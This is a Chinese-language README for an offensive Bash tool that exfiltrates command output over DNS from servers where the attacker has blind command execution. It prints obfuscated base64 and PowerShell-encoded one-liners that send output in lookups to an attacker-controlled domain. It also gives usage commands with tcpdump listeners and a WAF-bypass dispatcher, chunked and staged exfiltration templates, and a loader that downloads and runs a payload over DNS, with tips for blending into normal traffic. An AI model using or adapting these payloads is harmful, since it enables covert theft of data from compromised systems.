一个 Bash 脚本,用于在拥有盲命令执行权限且除 DNS 外所有出站连接均被阻止的服务器上,通过 DNS 自动实现数据窃取。该脚本目前支持 sh、bash 和 powershell,并兼容 exec 类型的命令执行(例如 java.lang.Runtime.exec)。
非分段模式:
分段模式:
在运行过程中,脚本将用户希望在目标服务器上执行的命令作为输入,并根据目标 shell 类型对其进行转换,使其输出能够通过 DNS 被窃取。命令转换完成后,会被传递给“调度器”。调度器由用户提供,负责将输入的命令通过任何必要方式(例如利用漏洞)在目标服务器上执行。命令在目标服务器上执行后,预期会触发向我们的 DNS 服务器发起包含数据块的 DNS 请求。脚本会监听这些请求,直至用户提供的命令输出全部被窃取完毕。
以下是支持的命令转换示例,均用于窃取命令 ls 的输出:
sh:
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=
bash:
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash
powershell:
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
./procroustes_chunked.sh --help
简而言之,假设我们要窃取的数据需要分成四个块才能通过 DNS 传输:
它们的一些区别也可以通过用于 bash 的模板命令来体现:
procroustes_chunked/bash:
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%
procroustes_full/bash:
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%
procroustes_full/bash/staged:
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash
[1] 对于分段模式,命令是通过 DNS 下载的,因此所列大小也是总负载大小。
[2] 在 procroustes_chunked 中,调度器被多次调用,因此提供的命令也需在服务器上多次执行(直到所有输出被窃取完毕)。当向服务器交付命令(即调用调度器)耗时或消耗资源较多时,此行为并不理想。
如果我们在服务器上执行的命令不是幂等的(功能或输出方面,例如 "ls;rm file")或耗时/资源消耗较大(例如 find / -name secret),也可能导致问题。解决方法是先将命令输出存储到文件(例如 /tmp/file),然后使用脚本读取该文件。
[3] 在分段模式中,我们还需要承担通过 DNS 获取实际负载所需的时间开销。需要注意的是,脚本使用 A 记录来获取实际负载。尽管这使我们的流量能够更好地融入目标环境的常规流量中,但信道容量有限(例如每个请求 4 字节)。我们可以使用其他记录类型(如 TXT)来减少阶段下载时间(接近零)和分段加载器的大小。
| procroustes_chunked | procroustes_full | procroustes_full_staged |
|---|
| 负载大小开销(bash/powershell) | 150*NLABELS/500*NLABELS (+CMD_LEN) | 300/800 (+CMD_LEN) | 150/400[1] |
| 调度器调用次数 | #输出/(LABEL_SIZE*NLABELS)[2] | 1 | 1 |
| 速度(bash/powershell) | ✔/✔ | ✔/✔ | ✓/✓[3] |
| 配置难度 | 容易 | 较容易+ | 中等 |